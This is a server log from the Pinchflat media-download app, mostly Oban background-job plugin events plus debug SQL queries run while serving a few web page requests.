{"source":"oban","duration":1764,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:10:36.108 [info] {"source":"oban","duration":1657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:11:00.013 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:11:06.111 [info] {"source":"oban","duration":1776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:11:36.114 [info] {"source":"oban","duration":2019,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:12:00.014 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:12:06.117 [info] {"source":"oban","duration":1583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:12:36.120 [info] {"source":"oban","duration":2059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:13:00.015 [info] {"source":"oban","duration":229,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:13:06.123 [info] {"source":"oban","duration":1861,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:13:36.126 [info] {"source":"oban","duration":2010,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:14:00.017 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:14:06.129 [info] {"source":"oban","duration":1587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:14:36.132 [info] {"source":"oban","duration":1594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:15:00.019 [info] {"source":"oban","duration":571,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:15:06.135 [info] {"source":"oban","duration":1630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:15:36.138 [info] {"source":"oban","duration":1532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:16:00.020 [info] {"source":"oban","duration":216,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:16:06.141 [info] {"source":"oban","duration":1716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:16:36.144 [info] {"source":"oban","duration":1995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:17:00.022 [info] {"source":"oban","duration":435,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:17:06.147 [info] {"source":"oban","duration":1726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:17:36.150 [info] {"source":"oban","duration":1873,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:18:00.024 [info] {"source":"oban","duration":438,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:18:06.153 [info] {"source":"oban","duration":1649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:18:36.156 [info] {"source":"oban","duration":1931,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:19:00.024 [info] {"source":"oban","duration":136,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:19:06.158 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:19:36.160 [info] {"source":"oban","duration":1618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:20:00.025 [info] {"source":"oban","duration":433,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:20:06.163 [info] {"source":"oban","duration":1957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:20:36.166 [info] {"source":"oban","duration":1641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:21:00.027 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:21:06.169 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:21:36.172 [info] {"source":"oban","duration":1890,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:22:00.027 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:22:06.175 [info] {"source":"oban","duration":1794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:22:36.179 [info] {"source":"oban","duration":2501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:23:00.029 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:23:06.180 [info] {"source":"oban","duration":844,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:23:36.183 [info] {"source":"oban","duration":1745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:24:00.031 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:24:06.186 [info] {"source":"oban","duration":2133,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:24:36.189 [info] {"source":"oban","duration":1725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:25:00.032 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:25:06.192 [info] {"source":"oban","duration":1585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:25:36.195 [info] {"source":"oban","duration":2377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:26:00.034 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:26:06.198 [info] {"source":"oban","duration":1717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:26:36.201 [info] {"source":"oban","duration":1599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:27:00.034 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:27:06.204 [info] {"source":"oban","duration":1861,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:27:36.207 [info] {"source":"oban","duration":1609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:28:00.036 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:28:06.210 [info] {"source":"oban","duration":1697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:28:36.213 [info] {"source":"oban","duration":2260,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:29:00.038 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:29:06.216 [info] {"source":"oban","duration":1742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:29:12.948 [info] GET / 06:29:12.948 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 06:29:12.949 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1318.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:29:12.950 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1319.0ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 06:29:12.950 [debug] QUERY OK source="sources" db=0.2ms idle=1319.6ms SELECT count(s0."id") FROM "sources" AS s0 [] 06:29:12.953 [debug] QUERY OK source="media_items" db=2.4ms queue=0.1ms idle=1007.9ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 06:29:12.954 [debug] QUERY OK source="media_items" db=0.6ms idle=7.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 06:29:12.954 [debug] QUERY OK source="settings" db=0.1ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:29:12.955 [debug] QUERY OK source="settings" db=0.1ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:29:12.955 [debug] QUERY OK source="settings" db=0.1ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:29:12.956 [debug] QUERY OK source="tasks" db=0.1ms idle=2.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 06:29:12.957 [debug] QUERY OK source="media_items" db=0.3ms idle=2.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 06:29:12.957 [debug] QUERY OK source="media_items" db=0.3ms idle=2.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 06:29:12.957 [debug] QUERY OK source="sources" db=0.1ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 06:29:12.960 [debug] QUERY OK source="media_items" db=1.2ms idle=3.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 06:29:12.962 [debug] QUERY OK source="media_items" db=1.5ms idle=4.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 06:29:12.962 [debug] QUERY OK source="sources" db=0.1ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:29:12.964 [info] Sent 200 in 15ms 06:29:36.219 [info] {"source":"oban","duration":1532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:30:00.040 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:30:06.222 [info] {"source":"oban","duration":1864,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:30:36.225 [info] {"source":"oban","duration":1541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:31:00.042 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:31:06.227 [info] {"source":"oban","duration":1385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:31:36.230 [info] {"source":"oban","duration":2214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:32:00.043 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:32:06.233 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:32:36.236 [info] {"source":"oban","duration":1735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:33:00.044 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:33:06.239 [info] {"source":"oban","duration":2047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:33:17.541 [info] GET /sources/31/media/141520 06:33:17.541 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141520", "source_id" => "31"} Pipelines: [:browser] 06:33:17.542 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=1911.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141520] 06:33:17.544 [debug] QUERY OK source="tasks" db=0.4ms queue=0.1ms idle=1912.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141520] 06:33:17.544 [debug] QUERY OK source="sources" db=0.6ms idle=1912.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:33:17.544 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=1014.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7281] 06:33:17.545 [debug] QUERY OK source="settings" db=0.1ms idle=11.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:33:17.545 [debug] QUERY OK source="settings" db=0.1ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:33:17.546 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:33:17.546 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:33:17.548 [info] Sent 200 in 7ms 06:33:17.878 [info] GET /sources/30/media/141479 06:33:17.878 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141479", "source_id" => "30"} Pipelines: [:browser] 06:33:17.880 [debug] QUERY OK source="media_items" db=0.5ms idle=334.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141479] 06:33:17.881 [debug] QUERY OK source="tasks" db=0.6ms idle=335.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141479] 06:33:17.881 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=335.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 06:33:17.882 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=336.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7279] 06:33:17.883 [debug] QUERY OK source="settings" db=0.3ms idle=336.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:33:17.884 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:33:17.886 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:33:17.888 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:33:17.893 [info] Sent 200 in 15ms 06:33:36.242 [info] {"source":"oban","duration":1612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:33:55.397 [info] GET /sources/30/media/141039 06:33:55.397 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141039", "source_id" => "30"} Pipelines: [:browser] 06:33:55.399 [debug] QUERY OK source="media_items" db=0.5ms queue=0.2ms idle=1767.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141039] 06:33:55.400 [debug] QUERY OK source="tasks" db=0.4ms idle=1769.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141039] 06:33:55.401 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=1769.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 06:33:55.401 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=770.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7246] 06:33:55.402 [debug] QUERY OK source="settings" db=0.1ms idle=769.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:33:55.402 [debug] QUERY OK source="settings" db=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:33:55.402 [debug] QUERY OK source="settings" db=0.0ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:33:55.403 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", 